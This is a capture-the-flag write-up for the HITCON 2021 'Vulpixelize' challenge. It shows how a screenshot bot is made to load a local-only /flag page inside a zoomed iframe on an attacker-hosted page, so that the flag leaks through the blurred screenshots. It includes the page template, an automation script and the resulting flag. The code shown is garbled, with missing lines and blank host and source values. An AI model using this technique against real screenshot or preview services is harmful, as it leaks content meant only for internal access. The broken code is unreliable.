HITCON 2021 - Vulpixelize (232 points)

My solution for this challenge is maybe unintended and not very technical, but it works :)

We can send a URL that the bot will visit.
It then takes a screenshot of the page, blurs it and returns us the result :


@app.route('/submit', methods=['GET'])
def submit():
    path = 'static/images/%s.png' % uuid.uuid4().hex
    url  = request.args.get('url')
    if url:
        # secrity check
        if not url.startswith('http://') and not url.startswith('https://'):
            return message(msg='malformed url')

        # access url
            data = driver.get_screenshot_as_png()
        except common.exceptions.WebDriverException as e:
            return message(msg=str(e))

        # save result
        img = Image.open(io.BytesIO(data))
        img = img.resize((64,64), resample=Image.BILINEAR)
        img = img.resize((1920,1080), Image.NEAREST)

        return message(msg=path)
        return message(msg="url not found :(")

There is a special endpoint at /flag that displays the flag only if we come from, so only the bot can view the flag :

def flag():
    if request.remote_addr == '':
        return message(FLAG)
    return message("allow only from local")

The idea is to redirect the bot to a page we control that contains an iframe which refers to the /flag endpoint, and zooms on parts of the flag to have large enough characters to bypass the blur.

I used a combo of div with an iframe embedded in it to get only a part of the flag, and transform, left, top CSS properties to zoom on these parts.
Here is the jinja template that does that :

<!DOCTYPE html>
#outerdiv {
    width: 1800px;
    height: 1000px;
    overflow: hidden;
    position: relative;

#inneriframe {
    position: absolute;
    width: 100px;
    height: 100px;
    zoom: 20;
    -moz-transform: scale(20);
    -moz-transform-origin: 0 0;
    -webkit-transform: scale(20);
    -webkit-transform-origin: 0 0;
    border: none;
    left: -{{idx}}px;
    top: -320px;
        <div id="outerdiv">
            <iframe src="" id="inneriframe" scrolling=yes></iframe>

Each picture looks like this :
first part of flag

The python script that automates the process (increment the left in the template and save the screenshot) :

from jinja2 import Template
from bs4 import BeautifulSoup

import requests
import os

HOST = ""
# HOST = ""

html = Template(open("./index.html.jinja2").read())

for idx in range(13):
    with open("./index.html", "w") as f:

    r = requests.get(HOST + "/submit?url=http%3A%2F%2FMON-IP%3AMON-PORT%2F")
    soup = BeautifulSoup(r.text, "html.parser")

    img = requests.get(HOST + soup.find(id="msg").a["href"])
    with open("img/{:02d}.png".format(idx), "wb") as f:


os.system("bash -c 'convert img/{00..06}.png +append img/flag-0.png'")
os.system("bash -c 'convert img/{07..12}.png +append img/flag-1.png'")

The last two lines assemble all the images in 2 images that contains the flag :
flag 0 flag 1

FLAG : hitcon{1-1-4-1-6-1-e-9-f-9-4-c-7-3-e-4-9-7-a-7-5-d-4-6-6-c-6-3-3-7-f-4}